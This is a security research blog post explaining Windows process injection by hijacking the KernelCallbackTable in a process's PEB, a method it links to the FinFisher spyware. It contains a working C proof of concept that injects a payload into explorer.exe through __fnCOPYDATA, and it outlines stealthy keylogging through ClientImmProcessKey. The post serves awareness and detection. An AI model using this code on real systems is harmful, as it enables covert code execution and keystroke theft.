Introduction
The surveillance spyware FinFisher, also known as FinSpy, uses what Microsoft called an “interesting and quite unusual” method of process injection via the KernelCallBackTable
. The method of injection has been used for 10+ years by the game hacking community to cheat and no doubt used for other nefarious purposes longer. My intention with this short post is not to encourage malicious activity using the KernelCallbackTable
, but to make the reader aware of how it’s already being misused. This technique was also discussed before by various other people in the following posts.
- You Failed! by Ivanlef0u
- Kernel exploitation – r0 to r3 transitions via KeUserModeCallback by j00ru
- Callgate to user : nt!KeUserModeCallback & ROP / MDL by zer0mem
- How to run userland code from the kernel on Windows by Thierry Franzetti
- How to run userland code from the kernel on Windows Version 2.0
Process Environment Block
The KernelCallbackTable
can be found in the PEB and is initialized to an array of functions when user32.dll is loaded into a GUI process.
typedef struct _PEB { BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the BOOLEAN ReadImageFileExecOptions; // BOOLEAN BeingDebugged; // BOOLEAN SpareBool; // HANDLE Mutant; // INITIAL_PEB structure is also updated. PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID KernelCallbackTable; // ...snipped
The functions are invoked to perform various operations usually in response to window messages. For example, _fnCOPYDATA
is executed in response to the WM_COPYDATA
message, so in the PoC, this function is replaced to demonstrate the injection. Finfisher uses the _fnDWORD
function.
typedef struct _FNCOPYDATAMSG { CAPTUREBUF CaptureBuf; PWND pwnd; UINT msg; HWND hwndFrom; BOOL fDataPresent; COPYDATASTRUCT cds; ULONG_PTR xParam; PROC xpfnProc; } FNCOPYDATAMSG; DWORD _fnCOPYDATA(FNCOPYDATAMSG *pMsg);
Process Injection
We simply duplicate the existing table, set the fnCOPYDATA
function to address of payload, update the PEB with address of new table and invoke using WM_COPYDATA
. The following code demonstrates this.
VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize) { HANDLE hp; HWND hw; DWORD id; LPVOID cs, ds; SIZE_T wr, rd; PROCESS_BASIC_INFORMATION pbi; PEB peb; KERNELCALLBACKTABLE kct; COPYDATASTRUCT cds; WCHAR msg[]=L"Injection via KernelCallbackTable"; // 1. Find a window for explorer.exe // Obtain the process id and open it hw = FindWindow(L"Shell_TrayWnd", NULL); GetWindowThreadProcessId(hw, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 2. Read the PEB and existing table address NtQueryInformationProcess(hp, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); ReadProcessMemory(hp, pbi.PebBaseAddress, &peb, sizeof(peb), &rd); ReadProcessMemory(hp, peb.KernelCallbackTable, &kct, sizeof(kct), &rd); // 3. Write the payload to remote process cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Write the new table to remote process ds = VirtualAllocEx(hp, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); kct.__fnCOPYDATA = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr); // 5. Update the PEB WriteProcessMemory(hp, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &ds, sizeof(ULONG_PTR), &wr); // 6. Trigger execution of payload cds.dwData = 1; cds.cbData = lstrlen(msg) * 2; cds.lpData = msg; SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds); // 7. Restore original KernelCallbackTable WriteProcessMemory(hp, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr); // 8. Release memory for code and data, close process VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
Key logging
Key up and down events are processed by the ClientImmProcessKey
function. Simply replacing the pointer to a custom routine would allow event-based key logging for the process. This avoids using SetWindowsHookEx
that is viewed with suspicion. The prototype of this function is:
DWORD ClientImmProcessKey( IN HWND hWnd, IN HKL hkl, IN UINT uVKey, IN LPARAM lParam, IN DWORD dwHotKeyID);
Anti-Hooking
DLL injection can be performed using SetWindowsHookEx
. This post suggests how to prevent it by hooking the ClientLoadLibrary
function.
HANDLE ClientLoadLibrary( IN PUNICODE_STRING pstrLib, IN BOOL bWx86KnownDll);
Summary
There are many possible ways to misuse this table. Detection of hooking might involve verifying the address of each function can be found inside user32.dll code. Source for PoC can be found here.
Pingback: Raspberry Robin: Anti-Evasion How-To & Exploit Analysis – TFun dot org